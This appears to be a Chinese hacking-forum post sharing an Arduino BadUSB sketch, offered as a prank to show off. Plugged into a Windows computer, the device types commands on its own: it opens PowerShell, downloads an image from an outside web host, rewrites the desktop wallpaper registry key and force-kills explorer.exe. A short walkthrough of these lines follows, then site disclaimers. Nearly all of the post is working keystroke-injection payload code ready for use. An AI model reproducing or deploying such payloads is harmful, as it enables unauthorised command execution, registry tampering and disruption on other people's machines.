搜索
查看: 1662|回复: 0

badusb修改电脑桌面壁纸装逼

[复制链接]

579

主题

852

帖子

2163

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2163

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2020-3-11 22:05:59 来自手机 | 显示全部楼层 |阅读模式
#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(2000);
  //返回桌面
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('d');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('d');
  delay(50);
  //启动运行
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('r');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(50);
  //打开powershell
  Keyboard.println("powershell");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(100);
  //获取文件
  Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
  delay(300);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  //通过修改注册表修改桌面图片,图片大小根据屏幕分辨率来
  Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  //杀死explorer.exe进程
  Keyboard.println("taskkill /f /im explorer.exe");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  //退出powershell
  Keyboard.println("exit");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  Keyboard.end();
}
 
void loop() {
  // put your main code here, to run repeatedly:
 
}

主要代码解读
主页         硬件开发  【分享】badusb修改壁纸装逼
【分享】badusb修改壁纸装逼
 日期:2019-1-3  KING  硬件开发  浏览:460次  评论:0条
badusb修改电脑桌面壁纸装逼

主要代码

代码中路径如c:\1.txt要将 \ 进行转义(加 \ 转义), " 也要转义
//获取图片到c盘并保存为x.jpg
Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
//修改桌面壁纸
Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
//杀死explorer.exe进程,不杀桌面图标及任务栏会影响逼格
Keyboard.println("taskkill /f /im explorer.exe");
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
我知道了
快速回复 返回顶部 返回列表